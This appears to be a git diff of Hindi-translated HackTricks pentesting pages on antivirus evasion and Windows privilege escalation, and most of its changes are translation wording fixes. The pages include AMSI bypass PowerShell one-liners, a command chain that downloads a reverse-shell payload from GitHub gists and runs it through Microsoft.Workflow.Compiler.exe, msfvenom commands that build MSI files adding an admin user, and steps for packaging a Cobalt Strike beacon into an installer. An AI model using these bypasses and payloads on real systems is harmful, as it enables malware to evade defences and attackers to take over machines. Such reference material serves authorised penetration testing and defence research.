<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me पर सामान्य Havoc EXE पेलोड बनाम सामान्य Havoc DLL की तुलना</p></figcaption></figure>
अब हम कुछ ट्रिक्स दिखाएंगे जिन्हें आप DLL फ़ाइलों के साथ उपयोग कर सकते हैं ताकि अधिक छिपे हुए रह सकें।
अब हम कुछ ट्रिक्स दिखाएंगे जिन्हें आप DLL फ़ाइलों के साथ अधिक चुपचाप उपयोग कर सकते हैं।
## DLL Sideloading & Proxying
@ -83,7 +83,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
**DLL प्रॉक्सींग** प्रोग्राम द्वारा प्रॉक्सी (और दुर्भावनापूर्ण) DLL से मूल DLL को किए गए कॉल को अग्रेषित करता है, इस प्रकार प्रोग्राम की कार्यक्षमता को बनाए रखते हुए आपके पेलोड के निष्पादन को संभालने में सक्षम होता है।
मैं [@flangvik](https://twitter.com/Flangvik/) े [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) प्रोजेक्ट का उपयोग करने जा रहा हूँ।
मैं [@flangvik](https://twitter.com/Flangvik/) े [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) प्रोजेक्ट का उपयोग करने जा रहा हूँ।
ये वे चरण हैं जिनका मैंने पालन किया:
```
@ -107,7 +107,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> मैं **गंभीरता से सुझाव देता हूँ** कि आप [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) को DLL Sideloading के बारे में देखें और [ippsec का वीडियो](https://www.youtube.com/watch?v=3eROsG_WNpE) भी देखें ताकि आप जो हमने गहराई से चर्चा की है, उसके बारे में और अधिक जान सकें।
> मैं **गंभीरता से सुझाव देता हूँ** कि आप [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) को DLL Sideloading के बारे में देखें और साथ ही [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) को भी देखें ताकि आप जो हमने गहराई से चर्चा की है, उसके बारे में और अधिक जान सकें।
## [**Freeze**](https://github.com/optiv/Freeze)
@ -123,7 +123,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> बचाव केवल एक बिल्ली और चूहा खेल है, जो आज काम करता है वह कल पता लगाया जा सकता है, इसलिए केवल एक उपकरण पर भरोसा न करें, यदि संभव हो, तो कई बचाव तकनीकों को जोड़ने की कोशिश करें।
> बचाव केवल एक बिल्ली और चूहा खेल है, जो आज काम करता है वह कल पता लगाया जा सकता है, इसलिए केवल एक उपकरण पर भरोसा न करें, यदि संभव हो तो कई बचाव तकनीकों को जोड़ने की कोशिश करें।
## AMSI (एंटी-मैलवेयर स्कैन इंटरफेस)
@ -134,8 +134,8 @@ AMSI सुविधा Windows के इन घटकों में एक
- उपयोगकर्ता खाता नियंत्रण, या UAC (EXE, COM, MSI, या ActiveX स्थापना का उन्नयन)
- PowerShell (स्क्रिप्ट, इंटरैक्टिव उपयोग, और गतिशील कोड मूल्यांकन)
- Windows स्क्रिप्ट होस्ट (wscript.exe और cscript.exe)
- JavaScript और VBScript
- Office VBA मैक्रोज़
- जावास्क्रिप्ट और VBScript
- ऑफिस VBA मैक्रोज़
यह एंटीवायरस समाधानों को स्क्रिप्ट व्यवहार की जांच करने की अनुमति देता है, स्क्रिप्ट सामग्री को एक रूप में उजागर करके जो न तो एन्क्रिप्टेड है और न ही अस्पष्ट।
@ -151,13 +151,13 @@ AMSI को बायपास करने के कुछ तरीके ह
- **अस्पष्टता**
चूंकि AMSI मुख्य रूप से स्थिर पहचान के साथ काम करता है, इसलिए, आप जो स्क्रिप्ट लोड करने की कोशिश कर रहे हैं, उन्हें संशोधित करना पहचान से बचने का एक अच्छा तरीका हो सकता है।
चूंकि AMSI मुख्य रूप से स्थिर पहचान के साथ काम करता है, इसलिए, आप जो स्क्रिप्ट लोड करने की कोशिश कर रहे हैं उन्हें संशोधित करना पहचान से बचने का एक अच्छा तरीका हो सकता है।
हालांकि, AMSI के पास स्क्रिप्ट को अस्पष्ट करने की क्षमता है, भले ही इसमें कई परतें हों, इसलिए अस्पष्टता एक बुरा विकल्प हो सकता है, यह इस बात पर निर्भर करता है कि इसे कैसे किया गया है। यह इसे बायपास करना इतना सीधा नहीं बनाता। हालांकि, कभी-कभी, आपको केवल कुछ चर के नाम बदलने की आवश्यकता होती है और आप ठीक हो जाएंगे, इसलिए यह इस बात पर निर्भर करता है कि कुछ कितना झंडा उठाया गया है।
हालांकि, AMSI के पास स्क्रिप्ट को अस्पष्ट करने की क्षमता है, भले ही इसमें कई परतें हों, इसलिए अस्पष्टता एक बुरा विकल्प हो सकता है, यह इस बात पर निर्भर करता है कि इसे कैसे किया गया है। यह इसे बचने के लिए इतना सीधा नहीं बनाता। हालांकि, कभी-कभी, आपको केवल कुछ चर के नाम बदलने की आवश्यकता होती है और आप ठीक हो जाएंगे, इसलिए यह इस बात पर निर्भर करता है कि कुछ कितना फ्लैग किया गया है।
- **AMSI बायपास**
चूंकि AMSI को PowerShell (साथ ही cscript.exe, wscript.exe, आदि) प्रक्रिया में एक DLL लोड करके लागू किया गया है, इसलिए इसे आसानी से छेड़छाड़ करना संभव है, भले ही आप एक अप्रिविलेज्ड उपयोगकर्ता के रूप में चल रहे हों। AMSI के कार्यान्वयन में इस दोष के कारण, शोधकर्ताओं ने AMSI स्कैनिंग से बचने के कई तरीके खोजे हैं।
चूंकि AMSI को powershell (साथ ही cscript.exe, wscript.exe, आदि) प्रक्रिया में एक DLL लोड करके लागू किया गया है, इसलिए इसे आसानी से छेड़छाड़ करना संभव है, भले ही एक अप्रिविलेज्ड उपयोगकर्ता के रूप में चलाया जाए। AMSI के कार्यान्वयन में इस दोष के कारण, शोधकर्ताओं ने AMSI स्कैनिंग से बचने के कई तरीके खोजे हैं।
**एक त्रुटि को मजबूर करना**
@ -165,7 +165,7 @@ AMSI प्रारंभिककरण को विफल (amsiInitFailed)
```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
बस एक पंक्ति का पावरशेल कोड AMSI को वर्तमान पावरशेल प्रक्रिया के लिए अनुपयोगी बनाने के लिए आवश्यक था। इस पंक्ति को निश्चित रूप से AMSI द्वारा चिह्नित किया गया है, इसलिए इस तकनीक का उपयोग करने के लिए कुछ संशोधन की आवश्यकता है।
बस एक पंक्ति का powershell कोड AMSI को वर्तमान powershell प्रक्रिया के लिए अनुपयोगी बनाने के लिए आवश्यक था। इस पंक्ति को निश्चित रूप से AMSI द्वारा चिह्नित किया गया है, इसलिए इस तकनीक का उपयोग करने के लिए कुछ संशोधन की आवश्यकता है।
यहां एक संशोधित AMSI बायपास है जो मैंने इस [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) से लिया है।
```powershell
@ -181,7 +181,7 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
ध्यान रखें, कि यह संभवतः इस पोस्ट के प्रकाशित होने पर फ्लैग किया जाएगा, इसलिए यदि आपकी योजना अदृश्य रहने की है तो आपको कोई कोड प्रकाशित नहीं करना चाहिए।
ध्यान रखें, कि यह संभवतः इस पोस्ट के प्रकाशित होने पर फ्लैग किया जाएगा, इसलिए यदि आपकी योजना अदृश्य रहन है तो आपको कोई कोड प्रकाशित नहीं करना चाहिए।
**Memory Patching**
@ -190,13 +190,13 @@ $Spotfix.SetValue($null,$true)
> [!NOTE]
> कृपया अधिक विस्तृत व्याख्या के लिए [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) पढ़ें।
AMSI को बायपास करने के लिए PowerShell के साथ कई अन्य तकनीकें भी हैं, उनके बारे में अधिक जानने के लिए [**इस पृष्ठ**](basic-powershell-for-pentesters/#amsi-bypass) और [इस रेपो](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) पर जाएं।
AMSI को बायपास करने के लिए PowerShell का उपयोग करने के लिए कई अन्य तकनीकें भी हैं, उनके बारे में अधिक जानने के लिए [**इस पृष्ठ**](basic-powershell-for-pentesters/#amsi-bypass) और [इस रिपॉजिटरी](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) पर जाएं।
या यह स्क्रिप्ट जो मेमोरी पैचिंग के माध्यम से प्रत्येक नए PowerShell को पैच करेगी।
## Obfuscation
कई उपकरण हैं जो **C# स्पष्ट-टेक्स्ट कोड को ओबफस्केट** करने, बाइनरी को संकलित करने के लिए **मेटाप्रोग्रामिंग टेम्पलेट** उत्पन्न करने या **संकलित बाइनरी को ओबफस्केट** करने के लिए उपयोग किए जा सकते हैं जैसे:
कई उपकरण हैं जो **C# स्पष्ट-टेक्स्ट कोड को ओबफस्केट** करने, बाइनरी को संकलित करने के लिए **मेटाप्रोग्रामिंग टेम्पलेट्स** उत्पन्न करने या **संकलित बाइनरी को ओबफस्केट** करने के लिए उपयोग किए जा सकते हैं जैसे:
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# ओबफस्केटर**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): इस परियोजना का उद्देश्य [LLVM](http://www.llvm.org/) संकलन सूट का एक ओपन-सोर्स फोर्क प्रदान करना है जो [कोड ओबफस्केशन](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) और टेम्पर-प्रूफिंग के माध्यम से सॉफ़्टवेयर सुरक्षा बढ़ा सके।
@ -267,18 +267,18 @@ C# बाइनरी को मेमोरी में लोड करना
- **Fork\&Run**
इसमें **एक नया बलिदान प्रक्रिया उत्पन्न करना** शामिल है, अपने पोस्ट-एक्सप्लॉइटेशन दुर्भावनापूर्ण कोड को उस नए प्रक्रिया में इंजेक्ट करना, अपने दुर्भावनापूर्ण कोड को निष्पादित करना और जब समाप्त हो जाए, तो नए प्रक्रिया को मार देना। इसके अपने लाभ और हानि हैं। फोर्क और रन विधि का लाभ यह है कि निष्पादन हमारे बीकन इम्प्लांट प्रक्रिया के **बाहर** होता है। इसका मतलब है कि यदि हमारे पोस्ट-एक्सप्लॉइटेशन क्रिया में कुछ गलत हो जाता है या पकड़ा जाता है, तो हमारे **इम्प्लांट के जीवित रहने की संभावना बहुत अधिक है।** हानि यह है कि आपको **व्यवहारात्मक पहचान** द्वारा पकड़े जाने की **अधिक संभावना** होती है।
इसमें **एक नया बलिदान प्रक्रिया उत्पन्न करना** शामिल है, अपने पोस्ट-एक्सप्लॉइटेशन दुर्भावनापूर्ण कोड को उस नए प्रक्रिया में इंजेक्ट करना, अपने दुर्भावनापूर्ण कोड को निष्पादित करना और जब समाप्त हो जाए, तो नए प्रक्रिया को मार देना। इसके अपने लाभ और हानियाँ हैं। फोर्क और रन विधि का लाभ यह है कि निष्पादन हमारे बीकन इम्प्लांट प्रक्रिया के **बाहर** होता है। इसका मतलब है कि यदि हमारे पोस्ट-एक्सप्लॉइटेशन क्रिया में कुछ गलत हो जाता है या पकड़ा जाता है, तो हमारे **इम्प्लांट के जीवित रहने की संभावना** **बहुत अधिक है।** हानि यह है कि आपको **व्यवहारात्मक पहचान** द्वारा पकड़े जाने की **अधिक संभावना** है।
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
- **Inline**
यह अपने पोस्ट-एक्सप्लॉइटेशन दुर्भावनापूर्ण कोड को **अपने ही प्रक्रिया में इंजेक्ट करने** के बारे में है। इस तरह, आप एक नया प्रक्रिया बनाने और उसे AV द्वारा स्कैन कराने से बच सकते हैं, लेकिन हानि यह है कि यदि आपके पेलोड के निष्पादन में कुछ गलत हो जाता है, तो आपके **बीकन को खोने की संभावना बहुत अधिक है** क्योंकि यह क्रैश हो सकता है।
यह अपने पोस्ट-एक्सप्लॉइटेशन दुर्भावनापूर्ण कोड को **अपने ही प्रक्रिया में इंजेक्ट करने** के बारे में है। इस तरह, आप एक नया प्रक्रिया बनाने और उसे AV द्वारा स्कैन कराने से बच सकते हैं, लेकिन हानि यह है कि यदि आपके पेलोड के निष्पादन में कुछ गलत हो जाता है, तो **आपके बीकन को खोने की संभावना** **बहुत अधिक है** क्योंकि यह क्रैश हो सकता है।
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> यदि आप C# Assembly लोडिंग के बारे में अधिक पढ़ना चाहते हैं, तो कृपया इस लेख को देखें [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) और उनके InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
> यदि आप C# असेंबली लोडिंग के बारे में अधिक पढ़ना चाहते हैं, तो कृपया इस लेख को देखें [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) और उनके InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
आप C# असेंबली को **PowerShell से भी लोड कर सकते हैं**, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) और [S3cur3th1sSh1t का वीडियो](https://www.youtube.com/watch?v=oe11Q-3Akuk) देखें।
@ -298,11 +298,15 @@ C# बाइनरी को मेमोरी में लोड करना
मैं आपको [@ATTL4S](https://twitter.com/DaniLJ94) से इस वार्ता को देखने की अत्यधिक सिफारिश करता हूँ, ताकि आप अधिक उन्नत बचाव तकनीकों में एक पैर जमाएँ।
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
{{#ref}}
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
{{#endref}}
यह [@mariuszbit](https://twitter.com/mariuszbit) से बचाव की गहराई पर एक और शानदार वार्ता है।
यह [@mariuszbit](https://twitter.com/mariuszbit) से बचाव पर गहराई में एक और शानदार वार्ता है।
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
{{#ref}}
https://www.youtube.com/watch?v=IbA7Ung39o4
{{#endref}}
## **पुरानी तकनीकें**
@ -317,7 +321,7 @@ Windows10 तक, सभी Windows में एक **Telnet सर्वर**
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
जब सिस्टम शुरू होता है तो इसे **शुरू** करें और इसे अब **चलाएं**:
सिस्टम शुरू होने पर इसे **शुरू** करें और इसे अभी **चलाएं**:
```bash
sc config TlntSVR start= auto obj= localsystem
```
@ -461,7 +465,7 @@ catch (Exception err) { }
}
}
```
### C# का उपयोग करते हुए संकलक
### C# का उपयोग करते हुए कंपाइलर
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
```
@ -473,7 +477,9 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
```
{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
{{#ref}}
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
{{#endref}}
C# obfuscators सूची: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
@ -523,5 +529,4 @@ https://github.com/praetorian-code/vulcan
- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
{{#include ../banners/hacktricks-training.md}}

View File

@ -154,7 +154,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
यदि अपडेट http**S** का उपयोग करके अनुरोध नहीं किए जाते हैं, तो आप सिस्टम को समझौता कर सकते हैं।
आप निम्नलिखित चलाकर जांच करते हैं कि क्या नेटवर्क एक गैर-SSL WSUS अपडेट का उपयोग करा है:
आप निम्नलिखित चलाकर जांच करते हैं कि क्या नेटवर्क एक गैर-SSL WSUS अपडेट का उपयोग कर रहा है:
```
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
```
@ -165,7 +165,7 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
```
और यदि `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` `1` के बराबर है।
तो, **यह शोषण योग्य है।** यदि अंतिम रजिस्ट्री `0` के बराबर है, तो WSUS प्रविष्टि को अनदेखा किया जाएगा।
तो, **यह exploitable है।** यदि अंतिम रजिस्ट्री `0` के बराबर है, तो WSUS प्रविष्टि को अनदेखा किया जाएगा।
इन कमजोरियों का शोषण करने के लिए आप उपकरणों का उपयोग कर सकते हैं: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- ये MiTM हथियारबंद शोषण स्क्रिप्ट हैं जो गैर-SSL WSUS ट्रैफ़िक में 'नकली' अपडेट इंजेक्ट करने के लिए हैं।
@ -178,11 +178,11 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
[**यहाँ पूरा रिपोर्ट पढ़ें**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
बुनियादी रूप से, यह वह दोष है जिसका शोषण यह बग करता है:
> यदि हमारे पास अपने स्थानीय उपयोगकर्ता प्रॉक्सी को संशोधित करने की शक्ति है, और Windows Updates इंटरनेट एक्सप्लोरर की सेटिंग में कॉन्फ़िगर की गई प्रॉक्सी का उपयोग करता है, तो हमारे पास [PyWSUS](https://github.com/GoSecure/pywsus) को स्थानीय रूप से चलाने की शक्ति है ताकि हम अपने स्वयं के ट्रैफ़िक को इंटरसेप्ट कर सकें और अपने संपत्ति पर एक उच्चीकृत उपयोगकर्ता के रूप में कोड चला सकें।
> यदि हमारे पास अपने स्थानीय उपयोगकर्ता प्रॉक्सी को संशोधित करने की शक्ति है, और Windows Updates इंटरनेट एक्सप्लोरर की सेटिंग में कॉन्फ़िगर की गई प्रॉक्सी का उपयोग करता है, तो हमारे पास [PyWSUS](https://github.com/GoSecure/pywsus) को स्थानीय रूप से चलाने की शक्ति है ताकि हम अपने स्वयं के ट्रैफ़िक को इंटरसेप्ट कर सकें और अपने संपत्ति पर एक उच्च उपयोगकर्ता के रूप में कोड चला सकें।
>
> इसके अलावा, चूंकि WSUS सेवा वर्तमान उपयोगकर्ता की सेटिंग का उपयोग करती है, यह इसके प्रमाणपत्र स्टोर का भी उपयोग करेगी। यदि हम WSUS होस्टनाम के लिए एक स्व-हस्ताक्षरित प्रमाणपत्र उत्पन्न करते हैं और इस प्रमाणपत्र को वर्तमान उपयोगकर्ता के प्रमाणपत्र स्टोर में जोड़ते हैं, तो हम HTTP और HTTPS दोनों WSUS ट्रैफ़िक को इंटरसेप्ट करने में सक्षम होंगे। WSUS प्रमाणपत्र पर पहले उपयोग पर विश्वास करने के प्रकार की मान्यता लागू करने के लिए कोई HSTS-जैसे तंत्र का उपयोग नहीं करता है। यदि प्रस्तुत प्रमाणपत्र उपयोगकर्ता द्वारा विश्वसनीय है और सही होस्टनाम है, तो इसे सेवा द्वारा स्वीकार किया जाएगा।
आप इस कमजोरी का शोषण उपकरण [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) का उपयोग करके कर सकते हैं (जब यह मुक्त हो जाए)।
आप इस कमजोरी का शोषण उपकरण [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) का उपयोग करके कर सकते हैं (जब इसे मुक्त किया जाएगा)।
## KrbRelayUp
@ -204,7 +204,7 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
```
यदि आपके पास एक मीटरप्रटर सत्र है, तो आप इस तकनीक को **`exploit/windows/local/always_install_elevated`** मॉड्यूल का उपयोग करके स्वचालित कर सकते हैं।
यदि आपके पास एक मीटरप्रटर सत्र है, तो आप इस तकनीक को **`exploit/windows/local/always_install_elevated`** मॉड्यूल का उपयोग करके स्वचालित कर सकते हैं।
### PowerUP
@ -216,7 +216,7 @@ Write-UserAddMSI
### MSI Wrapper
इस ट्यूटोरियल को पढ़ें ताकि आप इस उपकरणों का उपयोग करके एक MSI wrapper बना सकें। ध्यान दें कि आप एक "**.bat**" फ़ाइल को लपेट सकते हैं यदि आप **बस** **कमांड लाइनों** को **कार्यन्वित** करना चाहते हैं।
इस ट्यूटोरियल को पढ़ें ताकि आप इस उपकरणों का उपयोग करके एक MSI wrapper कैसे बनाएं। ध्यान दें कि आप एक "**.bat**" फ़ाइल को लपेट सकते हैं यदि आप **बस** **कमांड लाइनों** को **कार्यन्वित** करना चाहते हैं।
{{#ref}}
msi-wrapper.md
@ -230,17 +230,17 @@ create-msi-with-wix.md
### Visual Studio के साथ MSI बनाएं
- **Cobalt Strike** या **Metasploit** के साथ एक **नया Windows EXE TCP payload** उत्पन्न करें `C:\privesc\beacon.exe` में।
- **Cobalt Strike** या **Metasploit** के साथ एक **नया Windows EXE TCP payload** `C:\privesc\beacon.exe`ें **जनरेट** करें।
- **Visual Studio** खोलें, **Create a new project** चुनें और खोज बॉक्स में "installer" टाइप करें। **Setup Wizard** प्रोजेक्ट चुनें और **Next** पर क्लिक करें।
- प्रोजेक्ट को एक नाम दें, जैसे **AlwaysPrivesc**, स्थान के लिए **`C:\privesc`** का उपयोग करें, **सॉल्यूशन और प्रोजेक्ट को एक ही निर्देशिका में रखें** चुनें, और **Create** पर क्लिक करें।
- **Next** पर क्लिक करते रहें जब तक आप 4 में से 3 चरण पर नहीं पहुँचते (शामिल करने के लिए फ़ाइलें चुनें)। **Add** पर क्लिक करें और उस Beacon payload को चुनें जिसे आपने अभी उत्पन्न किया है। फिर **Finish** पर क्लिक करें।
- **Next** पर क्लिक करते रहें जब तक आप 4 में से 3 चरण पर नहीं पहुँचते (शामिल करने के लिए फ़ाइलें चुनें)। **Add** पर क्लिक करें और उस Beacon payload को चुनें जिसे आपने अभी जनरेट किया है। फिर **Finish** पर क्लिक करें।
- **Solution Explorer** में **AlwaysPrivesc** प्रोजेक्ट को हाइलाइट करें और **Properties** में, **TargetPlatform** को **x86** से **x64** में बदलें।
- अन्य गुण भी हैं जिन्हें आप बदल सकते हैं, जैसे **Author** और **Manufacturer** जो स्थापित ऐप को अधिक वैध दिखा सकते हैं।
- प्रोजेक्ट पर राइट-क्लिक करें और **View > Custom Actions** चुनें।
- **Install** पर राइट-क्लिक करें और **Add Custom Action** चुनें।
- **Application Folder** पर डबल-क्लिक करें, अपने **beacon.exe** फ़ाइल का चयन करें और **OK** पर क्लिक करें। यह सुनिश्चित करेगा कि beacon payload स्थापित करने वाले के चलने पर कार्यान्वित हो।
- **Application Folder** पर डबल-क्लिक करें, अपने **beacon.exe** फ़ाइल का चयन करें और **OK** पर क्लिक करें। यह सुनिश्चित करेगा कि जैसे ही इंस्टॉलर चलाया जाता है, beacon payload कार्यान्वित हो।
- **Custom Action Properties** के तहत, **Run64Bit** को **True** में बदलें।
- अंत में, **build it**।
- अंत में, **इसे बनाएं**।
- यदि चेतावनी `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` दिखाई देती है, तो सुनिश्चित करें कि आपने प्लेटफ़ॉर्म को x64 पर सेट किया है।
### MSI स्थापना
@ -267,7 +267,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
```
### LAPS
**LAPS** स्थानीय व्यवस्थापक पासवर्डों के **प्रबंधन** के लिए डिज़ाइन किया गया है, यह सुनिश्चित करते हुए कि प्रत्येक पासवर्ड **विशिष्ट, यादृच्छिक, और नियमित रूप से अपडेट** किया गया है उन कंप्यूटरों पर जो एक डोमेन से जुड़े हैं। ये पासवर्ड सुरक्षित रूप से Active Directory में संग्रहीत होते हैं और केवल उन उपयोगकर्ताओं द्वारा एक्सेस किए जा सकते हैं जिन्हें ACLs के माध्यम से पर्याप्त अनुमतियाँ दी गई हैं, जिससे उन्हें स्थानीय व्यवस्थापक पासवर्ड देखने की अनुमति मिलती है यदि अधिकृत हो
**LAPS** स्थानीय व्यवस्थापक पासवर्डों के **प्रबंधन** के लिए डिज़ाइन किया गया है, यह सुनिश्चित करते हुए कि प्रत्येक पासवर्ड **विशिष्ट, यादृच्छिक, और नियमित रूप से अपडेट** किया गया है उन कंप्यूटरों पर जो एक डोमेन से जुड़े हैं। ये पासवर्ड सुरक्षित रूप से Active Directory में संग्रहीत होते हैं और केवल उन उपयोगकर्ताओं द्वारा एक्सेस किए जा सकते हैं जिन्हें ACLs के माध्यम से पर्याप्त अनुमतियाँ दी गई हैं, जिससे उन्हें अधिकृत होने पर स्थानीय व्यवस्थापक पासवर्ड देखने की अनुमति मिलती है।
{{#ref}}
../active-directory-methodology/laps.md
@ -276,7 +276,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
### WDigest
यदि सक्रिय है, तो **सादा-टेक्स्ट पासवर्ड LSASS** (स्थानीय सुरक्षा प्राधिकरण उपप्रणाली सेवा) में संग्रहीत होते हैं।\
[**WDigest के बारे में अधिक जानकारी इस पृष्ठ पर**](../stealing-credentials/credentials-protections.md#wdigest).
[**इस पृष्ठ पर WDigest के बारे में अधिक जानकारी**](../stealing-credentials/credentials-protections.md#wdigest).
```bash
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
```
@ -295,7 +295,7 @@ reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
```
### Cached Credentials
**डोमेन क्रेडेंशियल्स** को **लोकल सिक्योरिटी अथॉरिटी** (LSA) द्वारा प्रमाणित किया जाता है और ऑपरेटिंग सिस्टम के घटकों द्वारा उपयोग किया जाता है। जब किसी उपयोगकर्ता का लॉगिन डेटा एक पंजीकृत सुरक्षा पैकेज द्वारा प्रमाणित किया जाता है, तो उपयोगकर्ता के लिए डोमेन क्रेडेंशियल्स आमतौर पर स्थापित किए जाते हैं।\
**डोमेन क्रेडेंशियल्स** को **लोकल सिक्योरिटी अथॉरिटी** (LSA) द्वारा प्रमाणित किया जाता है और ऑपरेटिंग सिस्टम के घटकों द्वारा उपयोग किया जाता है। जब किसी उपयोगकर्ता का लॉगिन डेटा एक पंजीकृत सुरक्षा पैकेज द्वारा प्रमाणित किया जाता है, तो आमतौर पर उपयोगकर्ता के लिए डोमेन क्रेडेंशियल्स स्थापित किए जाते हैं।\
[**Cached Credentials के बारे में अधिक जानकारी यहाँ**](../stealing-credentials/credentials-protections.md#cached-credentials).
```bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
@ -304,7 +304,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
### Enumerate Users & Groups
आपको यह जांचना चाहिए कि क्या आप जिन समूहों में हैं, उनमें कोई दिलचस्प अनुमतियाँ हैं।
आपको यह जांचना चाहिए कि क्या आप जिन समूहों में शामिल हैं, उनमें कोई दिलचस्प अनुमतियाँ हैं।
```bash
# CMD
net users %username% #Me
@ -321,7 +321,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
```
### विशेषाधिकार प्राप्त समूह
यदि आप **किसी विशेषाधिकार प्राप्त समूह के सदस्य हैं, तो आप विशेषाधिकार बढ़ाने में सक्षम हो सकते हैं**। विशेषाधिकार प्राप्त समूहों के बारे में जानें और उन्हें विशेषाधिकार बढ़ाने के लिए कैसे दुरुपयोग करें यहाँ:
यदि आप **किसी विशेषाधिकार प्राप्त समूह का हिस्सा हैं, तो आप विशेषाधिकार बढ़ाने में सक्षम हो सकते हैं**। विशेषाधिकार प्राप्त समूहों के बारे में जानें और उन्हें विशेषाधिकार बढ़ाने के लिए कैसे दुरुपयोग करें यहाँ:
{{#ref}}
../active-directory-methodology/privileged-groups-and-token-privileges.md
@ -329,8 +329,8 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
### टोकन हेरफेर
**और जानें** कि **टोकन** क्या है इस पृष्ठ पर: [**Windows Tokens**](../authentication-credentials-uac-and-efs/#access-tokens).\
दिलचस्प टोकनों के बारे में जानने और उन्हें दुरुपयोग करे के लिए निम्नलिखित पृष्ठ देखें:
**और अधिक जानें** कि **टोकन** क्या है इस पृष्ठ पर: [**Windows Tokens**](../authentication-credentials-uac-and-efs/#access-tokens).\
दिलचस्प टोकनों के बारे में जानने और उन्हें कैसे दुरुपयोग करें, इसके लिए निम्नलिखित पृष्ठ देखें:
